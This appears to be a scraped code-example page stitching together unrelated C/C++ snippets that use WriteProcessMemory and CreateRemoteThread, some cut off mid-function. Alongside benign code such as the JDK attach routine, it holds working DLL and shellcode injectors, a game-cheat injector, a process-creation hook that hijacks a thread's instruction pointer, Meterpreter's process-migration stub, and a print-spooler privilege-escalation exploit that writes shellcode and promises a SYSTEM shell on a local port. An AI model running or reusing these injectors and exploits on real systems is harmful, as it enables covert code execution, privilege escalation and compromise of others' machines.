      (DWORD)(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress),
      ntHd,
      (PBYTE)dllBin);

   if(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)
      FixRelocs(dllBin,
         imageBase,
         ntHd,
         reloc,
         ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);

   //   Write the PE header into the remote process's memory space
   WriteProcessMemory(hProcess,
      imageBase,
      dllBin,
      ntHd->FileHeader.SizeOfOptionalHeader + sizeof(ntHd->FileHeader) + sizeof(ntHd->Signature),
      (SIZE_T *)&nBytes);

   //   Map the sections into the remote process(they need to be aligned
   //   along their virtual addresses)
   MapSections(hProcess, imageBase, dllBin, ntHd);

   //   Change the page protection on the DllCall_stub function from PAGE_EXECUTE_READ
   //   to PAGE_EXECUTE_READWRITE, so we can patch it.
   VirtualProtect((LPVOID)DllCall_stub,
      MakeDelta(SIZE_T, DC_stubend, DllCall_stub),
      PAGE_EXECUTE_READWRITE,
      (DWORD *)&nBytes);

   //   Patch the stub so it calls the correct address
   *MakePtr(unsigned long *, DllCall_stub, 9) =
      MakePtr(unsigned long, imageBase, ntHd->OptionalHeader.AddressOfEntryPoint);

   //   Write the stub into the remote process
   WriteProcessMemory(hProcess,
      stubBase,
      (LPVOID)DllCall_stub,
      MakeDelta(SIZE_T, DC_stubend, DllCall_stub),
      (SIZE_T *)&nBytes);

#ifdef __USING_DEBUGGER
   wxMessageBox(_("Calling CreateRemoteThread"));
   wxMessageBox( _("hProcess: ") + wxString::Format("%08X",hProcess) );
   wxMessageBox( _("stubBase: ") + wxString::Format("%08X",stubBase) );
   wxMessageBox( _("moduleBas: ") + wxString::Format("%08X",imageBase) );
#endif
   //   Execute our stub in the remote process
   CreateRemoteThread(hProcess,
      NULL,
      ntHd->OptionalHeader.SizeOfStackCommit,
      (LPTHREAD_START_ROUTINE)stubBase,
      imageBase,      //   Pass the base address of the module as the argument to the stub.
                       //   All a module handle is, is the base address of the module(except
                       //   in windows CE), so we're really passing a handle to the module
                       //   so that it can refer to itself, create dialogs, etc..
      0,
      NULL);

   delete dllBin;
   return true;
}
Beispiel #15
0
void BWMem::WriteBytes(HANDLE hProcess, char *adr, const char *buffer, int size)
{
	DWORD written=0;
	if(!WriteProcessMemory(hProcess,adr,(void*)buffer,size,&written))
		written=0;
}
Beispiel #16
0
EXPORT int Client::Client::Init()
{
	char szDLLPath[MAX_PATH + 1] = { 0 };
	DWORD dwPId = 0;
	BOOL bRetn;

	GetModuleFileName((HMODULE) g_hDllHandle, szDLLPath, sizeof(szDLLPath));
	if (!atoi(GetParam("use_window").c_str()))
	{
		std::string szSearchName = GetParam("process");
		dwPId = Utils::Process::pidByProcessName(szSearchName);

		if (dwPId != 0) {
			// We want to wait until after SAMP is fully loaded (that is, the window is
			// no longer named "GTA: San Andreas") so we can actually access all SAMP features
			DWORD dwPIdStartup = Utils::Process::pidByWindowName("GTA: San Andreas");
			if (dwPId == dwPIdStartup)
				return 0;
		}
	}
	else
	{
		std::string szSearchName = GetParam("window");
		if (szSearchName.length() == 0)
			szSearchName = "GTA:SA:MP";

		dwPId = Utils::Process::pidByWindowName(szSearchName);
	}

	if (dwPId == 0)
		return 0;

	HANDLE hHandle = OpenProcess((STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF), FALSE, dwPId);
	if (hHandle == 0 || hHandle == INVALID_HANDLE_VALUE)
		return 0;

	void *pAddr = VirtualAllocEx(hHandle, NULL, strlen(szDLLPath) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pAddr == NULL)
	{
		CloseHandle(hHandle);
		return 0;
	}

	bRetn = WriteProcessMemory(hHandle, pAddr, szDLLPath, strlen(szDLLPath) + 1, NULL);
	if (bRetn == FALSE)
	{
		VirtualFreeEx(hHandle, pAddr, strlen(szDLLPath) + 1, MEM_RELEASE);
		CloseHandle(hHandle);
		return 0;
	}

	DWORD dwBase = 0;

	// Load DLL-file
	{
		LPTHREAD_START_ROUTINE pFunc = (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
		if (pFunc == NULL)
		{
			VirtualFreeEx(hHandle, pAddr, strlen(szDLLPath) + 1, MEM_RELEASE);
			CloseHandle(hHandle);
			return 0;
		}

		HANDLE hThread = CreateRemoteThread(hHandle, 0, 0, pFunc, pAddr, 0, 0);
		if (hThread == NULL || hThread == INVALID_HANDLE_VALUE)
		{
			VirtualFreeEx(hHandle, pAddr, strlen(szDLLPath) + 1, MEM_RELEASE);
			CloseHandle(hHandle);
			return 0;
		}

		WaitForSingleObject(hThread, INFINITE);
		GetExitCodeThread(hThread, &dwBase);
		VirtualFreeEx(hHandle, pAddr, strlen(szDLLPath) + 1, MEM_RELEASE);
		CloseHandle(hThread);
	}
	
	// Start Remote-IPC
	{
		if (dwBase == 0)
		{
			CloseHandle(hHandle);
			return 0;
		}
			

		DWORD pFunc = (DWORD) GetProcAddress((HMODULE) g_hDllHandle, "enable");
		pFunc -= (DWORD) g_hDllHandle;
		pFunc += (DWORD) dwBase;

		if (pFunc == NULL)
		{
			CloseHandle(hHandle);
			return 0;
		}

		HANDLE hThread = CreateRemoteThread(hHandle, 0, 0, (LPTHREAD_START_ROUTINE) pFunc, 0, 0, 0);
		if (hThread == NULL || hThread == INVALID_HANDLE_VALUE)
		{
			CloseHandle(hHandle);
			return 0;
		}

		WaitForSingleObject(hThread, INFINITE);
		CloseHandle(hThread);
		CloseHandle(hHandle);

		return 1;
	}
}
Beispiel #17
0
void WINAPI InjectSelf(DWORD pid, PTHREAD_START_ROUTINE callback, LPVOID payload, int payloadSize, LPDWORD lpExitCode)
{
    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid);
    HMODULE hMod;
    GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT,
        (LPCSTR)callback, &hMod);

    struct _mLocal {
        unsigned char code[256];
        wchar_t fileName[MAX_PATH];
        char payloadData[1];
    } mLocal;

    int allocSize = sizeof(mLocal) - sizeof(mLocal.payloadData) + payloadSize;
    DWORD pRemote = (DWORD)VirtualAllocEx(hProcess, NULL, allocSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    unsigned char* ptr =  mLocal.code;
//55             PUSH EBP
//8BEC           MOV EBP,ESP
//83EC 08        SUB ESP,8
    PTR_APPEND_STR("\x55\x8B\xEC\x83\xEC\x08");
//68 ????????    PUSH ?   ; FileName
    PTR_APPEND_5BY(0x68, pRemote + offsetof(_mLocal, fileName));
//E8 ????????    CALL ?   ; LoadLibraryW
    HMODULE kernel32 = GetModuleHandleW(L"kernel32");
    DWORD offs = (DWORD)pRemote + (ptr - mLocal.code) + 5;
    PTR_APPEND_5BY(0xE8, (DWORD)GetProcAddress(kernel32, "LoadLibraryW") - offs);
//8945 FC        MOV DWORD PTR SS:[EBP-4],EAX
    PTR_APPEND_STR("\x89\x45\xFC");
//68 ????????    PUSH ?   ; payload
    PTR_APPEND_5BY(0x68, pRemote + offsetof(_mLocal, payloadData));
//8B45 FC        MOV EAX,DWORD PTR SS:[EBP-4]
    PTR_APPEND_STR("\x8B\x45\xFC");
//05 ????????    ADD EAX,?; callback offset
    PTR_APPEND_5BY(0x05, (DWORD)callback - (DWORD)hMod);
//FFD0           CALL EAX
//8945 F8        MOV DWORD PTR SS:[EBP-8],EAX
//8B4D FC        MOV ECX,DWORD PTR SS:[EBP-4]
//51             PUSH ECX ; hLibModule
    PTR_APPEND_STR("\xFF\xD0\x89\x45\xF8\x8B\x4D\xFC\x51");
//E8 ????????    CALL ?   ; FreeLibrary
    offs = (DWORD)pRemote + (ptr - mLocal.code) + 5;
    PTR_APPEND_5BY(0xE8, (DWORD)GetProcAddress(kernel32, "FreeLibrary") - offs);
//8B45 F8        MOV EAX,DWORD PTR SS:[EBP-8]
//8BE5           MOV ESP,EBP
//5D             POP EBP
//C2 0400        RETN 4
    PTR_APPEND_STR("\x8B\x45\xF8\x8B\xE5\x5D\xC2\x04\x00");

    GetModuleFileNameW(hMod, mLocal.fileName, MAX_PATH);

    WriteProcessMemory(hProcess, (void*)pRemote, &mLocal, sizeof(mLocal), NULL);
    WriteProcessMemory(hProcess, (void*)(pRemote + offsetof(_mLocal, payloadData)), payload, payloadSize, NULL);

    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (PTHREAD_START_ROUTINE)pRemote, 0, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    if (lpExitCode)
        GetExitCodeThread(hThread, lpExitCode);
    CloseHandle(hThread);
    VirtualFreeEx(hProcess, (void*)pRemote, allocSize, MEM_RELEASE);
    CloseHandle(hProcess);
}
/*
    Función: InjectDll
    Descripción: Proceso encargado de controlar la correcta carga en memoria
                 del proceso indicado, de la dll pasada como parametro.
    Parametros: 
        process         - Manejador del proceso donde cargar la dll
        dll_name        - Nombre de la dll
    Retorno: 
        _ERROR__        - Fallo en alguno de los pasos del proceso
        _SUCCESS__      - Funcionamiento correcto del proceso
*/
int
InjectDll( HANDLE process, const char * dll_name )
{
    LOADER_DLL_t            loader_struct;
    unsigned long         * loaderdll_address;
    ULONG                   suspend_count;
    DWORD                   bytes_written;
    DWORD                   htread_id;
    HANDLE                  htread;
    int                     return_function;
    char                  * debug_string;
    int                     timeout_suspend;
    
    // Inicializacion de las variables locales
    return_function = _SUCCESS__;
    
    // Pedimos memoria en el proceso remoto
    debug_string = "Allocate memory in the extern process.";
    loaderdll_address                                                          \
    =   (unsigned long *)                                                      \
        VirtualAllocEx                                                         \
        (                                                                      \
            process                 ,                                          \
            NULL                    ,                                          \
            sizeof( loader_struct ) ,                                          \
            MEM_COMMIT              ,                                          \
            PAGE_EXECUTE_READWRITE                                             \
        )                                                                      \
    ;

    if ( loaderdll_address == NULL )
    {
        printf( "     [FAIL] - %s\n", debug_string );
        ShowGetLastErrorString( "InjectDll:VirtualAllocEx(loader)" );
        
        return _ERROR__;
    }
    else
        printf( "     [OK]   - %s\n", debug_string );
    
    printf
    ( 
        "     [INFO] - Address reserved on the other process: 0x%08X\n", 
        loaderdll_address 
    );
    printf( "     [INFO] - Space requested: %d\n", sizeof( loader_struct ) );
    
    
    // Creamos la estructura del cargador de la dll para poder inyectarlo
    debug_string = "Creating structure for the dll load.";
    if 
    ( 
        CreateLoaderDLLStruct
        ( 
            & loader_struct                   , 
            (unsigned long) loaderdll_address , 
            dll_name 
        ) 
        == 
        _ERROR__ 
    )
    {
        printf( "     [FAIL] - %s\n", debug_string );
        
        return_function = _ERROR__;
    }
    else
        printf( "     [OK]   - %s\n", debug_string );
    
    
    // Escribimos en la memoria remota la estructura de carga de la DLL
    if ( return_function == _SUCCESS__ )
    {
        debug_string = "Writing structure for the dll load.";
        if 
        ( 
            WriteProcessMemory
            (
                process                         ,
                loaderdll_address               ,
                & loader_struct                 ,
                (DWORD) sizeof( loader_struct ) ,
                & bytes_written                 
            )
            ==
            0
        )
        {
            printf( "     [FAIL] - %s\n", debug_string );
            ShowGetLastErrorString( "InjectDll:WriteProcessMemory(loader)" );
            printf( " Has been written: %d bytes.\n\n", bytes_written );
        
            return_function = _ERROR__;
        }
        else
            printf( "     [OK]   - %s\n", debug_string );
    }
    
    // Creamos un hilo remoto para que se ejecute el codigo de nuestro cargador
    if ( return_function == _SUCCESS__ )
    {                     
        debug_string = "Creating remote thread.";
        htread = \
            CreateRemoteThread
            (
                process                    ,
                NULL                       ,
                0                          ,
                (LPVOID) loaderdll_address ,
                NULL                       ,
                0                          ,
                & htread_id
            );

        if ( htread == NULL )
        {
            printf( "     [FAIL] - %s\n", debug_string );
            ShowGetLastErrorString( "InjectDll:CreateRemoteThread(loader)" );
            
            return_function = _ERROR__;
        }
        else
        {
            printf( "     [OK]   - %s\n", debug_string );   
            printf
                ( "     [INFO] - Thread created with TID: 0x%04X\n", htread_id );
        }
    }
    
    // Recuperamos la direccion de la funcion para controlar el estado del
    // hilo remoto
    if ( return_function == _SUCCESS__ )
    {
        timeout_suspend = 0;
        printf( "     [INFO] - Attempt: " );
        do
        {
            printf( "%d", timeout_suspend + 1 );
            Sleep( TIME_OUT_CHECK_SUSPEND_THREAD );
            timeout_suspend++;
            
            if 
            (
                ReadProcessMemory
                (
                    process                                                    ,
                    (LPCVOID) ((ULONG) loaderdll_address ) + DISTANCE_TO_FLAG  ,
                    & loader_struct.flag                                       ,
                    sizeof( loader_struct.flag )                               ,
                    & bytes_written          
                )
                ==
                0
            )
            {
                printf
                ( 
                    " Failure in ReadProccessMemory, : %d bytes have been read."
                    "\n\n", 
                    bytes_written 
                );
                ShowGetLastErrorString
                    ( "InjectDll:ReadProcessMemory(suspend flag)" );
            }
            
            if 
            ( 
                ( loader_struct.flag == 0 ) 
                && 
                ( timeout_suspend < TIME_OUT_SUSPEND ) 
            )
                printf( "\b" );
            else
                putchar( '\n' );
        } 
        while 
            ( 
                ( loader_struct.flag == 0 ) 
                && 
                ( timeout_suspend < TIME_OUT_SUSPEND ) 
            );        
        
        if ( timeout_suspend == TIME_OUT_SUSPEND )
        {
            puts( "     [FAIL] - Thread couldn't be suspended." );
            return_function == _ERROR__;
        }
        else        
            puts( "     [INFO] - Thread has entered suspension mode." );
    }
    
    // Si todo esta correcto terminamos el hilo remoto
    if ( return_function == _SUCCESS__ )
    {
        debug_string = "Injection thread ended.";
        if ( TerminateThread( htread, 0 ) == 0 )
        {
            printf( "     [FAIL] - %s\n", debug_string );
            ShowGetLastErrorString( "InjectDll:TerminateThread(loader)" );
            
            return_function = _ERROR__;
        }
        else
            printf( "     [OK]   - %s\n", debug_string );   
    }
    
    // Liberamos la memoria pedida 
    debug_string = "Memory in remote thread freed.";
    if 
    (
        VirtualFreeEx
        ( 
            process            , 
            loaderdll_address  , 
            0                  , 
            MEM_RELEASE 
        )
        ==
        0
    )
    {
        printf( "     [FAIL] - %s\n", debug_string );
        ShowGetLastErrorString( "InjectDll:VirtualFreeEx(loader)" );    
    }
    else
        printf( "     [OK]   - %s\n", debug_string );  
    
    return return_function;
}
int main(int argc, char* argv[])
{
  
  unsigned char exploit[BOFSIZE];
  unsigned char buffer[REQUIRED_SIZE];
  DWORD dwSizeNeeded,n=0;
  DWORD datalen=REQUIRED_SIZE;
  LARGE_INTEGER dirs;
  HANDLE hProcess;
  DWORD write;
  char *p,i;
  #define lpLocalAddress dirs.LowPart
  #define lpTargetAddress dirs.HighPart

  printf("[+] Exploit universal para provedores de impressão\n");
  printf("[+] Talvez o Citrix metaframe, DiskAccess ou Novel suas versões foram afetadas\n");
  printf("[+] Exploit by Drago\n\n");

  printf("[+] Conectando a porta de spooler LCP \\RPC Control\\spoolss\n");
  

 
  do {
   dirs=ConnectToLPCPort();
   printf("[+] Tente localizar um endereço valido: Encontrados 0x%8.8x após %i tentativas\r",lpTargetAddress,n+1);
   if (lpLocalAddress==0){ 
	 printf("\n[-] Não foi possivel se conectar a porta de spooler LPC\n"); 
    printf("[-] Verifique se o serviço está rodando\n");
	 exit(0);
   }
   i=lpTargetAddress>>24; // & 0xFF000000 == 0
   n++;
   if (n==MAXLOOPS) {
      printf("\n[-] Não é possível localizar um endereço válido após %i tries\n",n);
      printf("[?] Talvez o valor REQUIRED_SIZE deve ajudar. Tente aumenta-lo\n");
      return(0);
   }
  }while (i!=0);
  
  //printf(" (%i tries)\n",n);
  printf("\n");

  printf("[+] Memoria mapeada. Endereço do cliente: 0x%8.8x\n",lpLocalAddress);
  printf("[+] Memoria mapeada. Endereço do servidor: 0x%8.8x\n",lpTargetAddress);

 
  i=(lpTargetAddress<<8)>>24;
  //Preencha tudo com os rets. Eu não ligo pra onde eles estão.
  memset(exploit,i,sizeof(exploit)); 
  exploit[sizeof(exploit)-1]='\0';

  /*
  memset(exploit,'A',sizeof(exploit)-1);
  exploit[262]= (lpTargetAddress<<8)>>24; //EIP for Diskaccess
  exploit[263]= (lpTargetAddress<<8)>>24; //EIP for Diskaccess
  exploit[264]='\0';
  */
  
  printf("[+] Alvejando o endereço de retorno para  : 0x00%2.2X00%2.2X\n",exploit[262],exploit[262]);

  p=(char *)lpLocalAddress;

  memset(&buffer[0],0x90,REQUIRED_SIZE);
  memcpy(&buffer[REQUIRED_SIZE -sizeof(shellcode)-10],shellcode,sizeof(shellcode));
  
  printf("[+] Escrevendo memória compartilhada...\n");
  if ( (hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()))!= NULL ) 
  {
    if ( WriteProcessMemory( hProcess, p, &buffer[0], REQUIRED_SIZE, &write )!=0 )
    {
      printf("[+] Ecrever 0x%x bytes \n",write);
      printf("[+] Explorando vulnerabilidade....\n");
      printf("[+] Exploit completo. Agora tente conectar a 127.0.0.1:51477\n");
      printf("[+] e verifique se você é o sistema =)\n");
      EnumPrintersA ( PRINTER_ENUM_NAME, (char *)exploit, 1, NULL, 0, &dwSizeNeeded, &n );
      return(1);
    } else {
       printf("[-] Escrito 0x%x bytes \n",write);

    }
  } 
  printf("[-] Alguma coisa deu errado. Error %i - Boa sorte na proxima\n",GetLastError());
  return(0);
}
Beispiel #20
0
BOOL
WINAPI
 MyCreateProcessInternalW(HANDLE hToken,
 LPCWSTR lpApplicationName,
 LPWSTR lpCommandLine,
 LPSECURITY_ATTRIBUTES lpProcessAttributes,
 LPSECURITY_ATTRIBUTES lpThreadAttributes,
 BOOL bInheritHandles,
 DWORD dwCreationFlags,
 LPVOID lpEnvironment,
 LPCWSTR lpCurrentDirectory,
 LPSTARTUPINFOW lpStartupInfo,
 LPPROCESS_INFORMATION lpProcessInformation,
 PHANDLE hNewToken)
{
    //return CreateProcessInternalW(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles
    //    , dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken);

    if (!lpApplicationName && lpCommandLine)
    {
        LPWSTR *szArglist;
        int nArgs;

        szArglist = CommandLineToArgvW(lpCommandLine, &nArgs);
        if(szArglist )
        {
            if (nArgs == 2 && StrStrIW(szArglist[0], L"loaddll.exe"))
            {
                dwCreationFlags |= CREATE_SUSPENDED;
                BOOL bRet = CreateProcessInternalW(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles
                    , dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken);

                if (bRet)
                {
                    LPVOID lpAddr = VirtualAllocEx(lpProcessInformation->hProcess, 0, 1000,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                    if (lpAddr)
                    {
                        CONTEXT ct;
                        ct.ContextFlags = CONTEXT_CONTROL; // eip
                        GetThreadContext(lpProcessInformation->hThread, &ct);
                        //*((DWORD*)lpAddr) = ct.Eip;
                        WriteProcessMemory(lpProcessInformation->hProcess, lpAddr, &ct.Eip, 4, 0);
                        HMODULE hKer = GetModuleHandleW(L"kernel32.dll");
                        PROC pp = GetProcAddress(hKer, "LoadLibraryA");
                        //*((DWORD*)lpAddr + 1) = GetProcAddress(hKer, "LoadLibraryA");
                        WriteProcessMemory(lpProcessInformation->hProcess, (LPVOID)((DWORD)lpAddr+4), &pp, 4, 0);
                        char loadsys[MAX_PATH] = {0};
                        GetModuleFileNameA(NULL, loadsys, MAX_PATH);
                        char* p = strrchr(loadsys, '\\');
                        if (p)
                        {
                            *(p + 1) = 0;
                            strcat(loadsys, "loadsys.dll");
                        }
                        WriteProcessMemory(lpProcessInformation->hProcess, (LPVOID)((DWORD)lpAddr+8), loadsys, MAX_PATH, 0);

                        const char shell[] = {0x6A, 0x00, 0x60, 0x9C, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5E, 0x81, 0xE6, 0x00, 0x00, 0xFF, 0xFF, 0xAD, 0x89, 0x44, 0x24, 0x24, 0xAD, 0x56, 0xFF, 0xD0, 0x9D, 0x61, 0xC3};
                        WriteProcessMemory(lpProcessInformation->hProcess, (LPVOID)((DWORD)lpAddr+8 + MAX_PATH), shell, MAX_PATH, 0);
                        ct.Eip = (DWORD)lpAddr+8 + MAX_PATH;
                        SetThreadContext(lpProcessInformation->hThread, &ct);
                        ResumeThread(lpProcessInformation->hThread);
                        //VirtualFreeEx(lpProcessInformation->hProcess, lpAddr, 0, MEM_RELEASE);
                    }

                }
                LocalFree(szArglist);
                return bRet;
            }
            LocalFree(szArglist);
        }
    }
    return CreateProcessInternalW(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles
        , dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken);
}
/*
 * Class:     sun_tools_attach_WindowsVirtualMachine
 * Method:    enqueue
 * Signature: (JZLjava/lang/String;[Ljava/lang/Object;)V
 */
JNIEXPORT void JNICALL Java_sun_tools_attach_WindowsVirtualMachine_enqueue
  (JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
   jstring pipename, jobjectArray args)
{
    DataBlock data;
    DataBlock* pData;
    DWORD* pCode;
    DWORD numBytes;
    DWORD stubLen;
    HANDLE hProcess, hThread;
    jint argsLen, i;
    jbyte* stubCode;
    jboolean isCopy;

    /*
     * Setup data to copy to target process
     */
    data._LoadLibrary = _LoadLibrary;
    data._GetProcAddress = _GetProcAddress;

    strcpy(data.jvmLib, "jvm");
    strcpy(data.func1, "JVM_EnqueueOperation");
    strcpy(data.func2, "_JVM_EnqueueOperation@20");

    /*
     * Command and arguments
     */
    jstring_to_cstring(env, cmd, data.cmd, MAX_CMD_LENGTH);
    argsLen = (*env)->GetArrayLength(env, args);

    if (argsLen > 0) {
        if (argsLen > MAX_ARGS) {
            JNU_ThrowInternalError(env, "Too many arguments");
        }
        for (i=0; i<argsLen; i++) {
            jobject obj = (*env)->GetObjectArrayElement(env, args, i);
            if (obj == NULL) {
                data.arg[i][0] = '\0';
            } else {
                jstring_to_cstring(env, obj, data.arg[i], MAX_ARG_LENGTH);
            }
            if ((*env)->ExceptionOccurred(env)) return;
        }
    }
    for (i=argsLen; i<MAX_ARGS; i++) {
        data.arg[i][0] = '\0';
    }

    /* pipe name */
    jstring_to_cstring(env, pipename, data.pipename, MAX_PIPE_NAME_LENGTH);

    /*
     * Allocate memory in target process for data and code stub
     * (assumed aligned and matches architecture of target process)
     */
    hProcess = (HANDLE)handle;

    pData = (DataBlock*) VirtualAllocEx( hProcess, 0, sizeof(DataBlock), MEM_COMMIT, PAGE_READWRITE );
    if (pData == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        return;
    }
    WriteProcessMemory( hProcess, (LPVOID)pData, (LPVOID)&data, (DWORD)sizeof(DataBlock), &numBytes );


    stubLen = (DWORD)(*env)->GetArrayLength(env, stub);
    stubCode = (*env)->GetByteArrayElements(env, stub, &isCopy);

    pCode = (PDWORD) VirtualAllocEx( hProcess, 0, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    if (pCode == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
        return;
    }
    WriteProcessMemory( hProcess, (LPVOID)pCode, (LPVOID)stubCode, (DWORD)stubLen, &numBytes );
    if (isCopy) {
        (*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
    }

    /*
     * Create thread in target process to execute code
     */
    hThread = CreateRemoteThread( hProcess,
                                  NULL,
                                  0,
                                  (LPTHREAD_START_ROUTINE) pCode,
                                  pData,
                                  0,
                                  NULL );
    if (hThread != NULL) {
        if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0) {
            JNU_ThrowIOExceptionWithLastError(env, "WaitForSingleObject failed");
        } else {
            DWORD exitCode;
            GetExitCodeThread(hThread, &exitCode);
            if (exitCode) {
                switch (exitCode) {
                    case ERR_OPEN_JVM_FAIL :
                        JNU_ThrowIOException(env,
                            "jvm.dll not loaded by target process");
                        break;
                    case ERR_GET_ENQUEUE_FUNC_FAIL :
                        JNU_ThrowIOException(env,
                            "Unable to enqueue operation: the target VM does not support attach mechanism");
                        break;
                    default :
                        JNU_ThrowInternalError(env,
                            "Remote thread failed for unknown reason");
                }
            }
        }
        CloseHandle(hThread);
    } else {
        JNU_ThrowIOExceptionWithLastError(env, "CreateRemoteThread failed");
    }

    VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
}
 bool ProcessInfo::MemWrite(ptr address, const void* buffer, ptr size)
 {
     return !!WriteProcessMemory(this->hProcess, reinterpret_cast<void*>(address), buffer, size, nullptr);
 }
DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
{
	MigrationStubContext context;
	TOKEN_PRIVILEGES privs;
	HANDLE token = NULL;
	Packet *response = packet_create_response(packet);
	HANDLE process = NULL;
	HANDLE thread = NULL;
	HANDLE event = NULL;
	LPVOID dataBase;
	LPVOID codeBase;
	DWORD threadId;
	DWORD result = ERROR_SUCCESS;
	DWORD pid;
	PUCHAR payload;

	// Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer).
	BYTE stub[] =
		"\x8B\x74\x24\x04"         //  mov esi,[esp+0x4]         ; ESI = MigrationStubContext *
		"\x89\xE5"                 //  mov ebp,esp               ; create stack frame
		"\x81\xEC\x00\x40\x00\x00" //  sub esp, 0x4000           ; alloc space on stack
		"\x8D\x4E\x20"             //  lea ecx,[esi+0x20]        ; ECX = MigrationStubContext->ws2_32
		"\x51"                     //  push ecx                  ; push "ws2_32"
		"\xFF\x16"                 //  call near [esi]           ; call loadLibrary
		"\x54"                     //  push esp                  ; push stack address
		"\x6A\x02"                 //  push byte +0x2            ; push 2
		"\xFF\x56\x0C"             //  call near [esi+0xC]       ; call wsaStartup
		"\x6A\x00"                 //  push byte +0x0            ; push null
		"\x6A\x00"                 //  push byte +0x0            ; push null
		"\x8D\x46\x28"             //  lea eax,[esi+0x28]        ; EAX = MigrationStubContext->info
		"\x50"                     //  push eax                  ; push our duplicated socket
		"\x6A\x00"                 //  push byte +0x0            ; push null
		"\x6A\x02"                 //  push byte +0x2            ; push 2
		"\x6A\x01"                 //  push byte +0x1            ; push 1
		"\xFF\x56\x10"             //  call near [esi+0x10]      ; call wsaSocket
		"\x97"                     //  xchg eax,edi              ; edi now = our duplicated socket
		"\xFF\x76\x1C"             //  push dword [esi+0x1C]     ; push our event
		"\xFF\x56\x18"             //  call near [esi+0x18]      ; call setevent
		"\xFF\x76\x04"             //  push dword [esi+0x04]     ; push the address of the payloadBase
		"\xC3";                    //  ret                       ; return into the payload

	// Get the process identifier to inject into
	pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);

	// Bug fix for Ticket #275: get the desired length of the to-be-read-in payload buffer...
	context.payloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);

	// Receive the actual migration payload (metsrv.dll + loader)
	payload = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);

	// Try to enable the debug privilege so that we can migrate into system
	// services if we're administrator.
	if (OpenProcessToken(
			GetCurrentProcess(),
			TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
			&token))
	{
		privs.PrivilegeCount           = 1;
		privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME,
				&privs.Privileges[0].Luid);
	
		AdjustTokenPrivileges(token, FALSE, &privs, 0, NULL, NULL);

		CloseHandle(token);
	}

	do
	{
		// Open the process so that we can into it
		if (!(process = OpenProcess(
				PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | 
				PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid)))
		{
			result = GetLastError();
			break;
		}

		// If the socket duplication fails...
		if (WSADuplicateSocket(remote_get_fd(remote), pid, &context.info) != NO_ERROR)
		{
			result = WSAGetLastError();
			break;
		}

		// Create a notification event that we'll use to know when
		// it's safe to exit (once the socket has been referenced in
		// the other process)
		if (!(event = CreateEvent(NULL, TRUE, FALSE, NULL)))
		{
			result = GetLastError();
			break;
		}

		// Duplicate the event handle into the target process
		if (!DuplicateHandle(GetCurrentProcess(), event,
				process, &context.event, 0, TRUE, DUPLICATE_SAME_ACCESS))
		{
			result = GetLastError();
			break;
		}

		// Initialize the migration context
		context.loadLibrary    = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA");
		context.wsaStartup     = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSAStartup");
		context.wsaSocket      = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSASocketA");
		context.recv           = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "recv");
		context.setevent       = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "SetEvent");

		strcpy(context.ws2_32, "ws2_32");

		// Allocate storage for the stub and context
		if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
		{
			result = GetLastError();
			break;
		}

		// Bug fix for Ticket #275: Allocate a RWX buffer for the to-be-read-in payload...
		if (!(context.payloadBase = VirtualAllocEx(process, NULL, context.payloadLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
		{
			result = GetLastError();
			break;
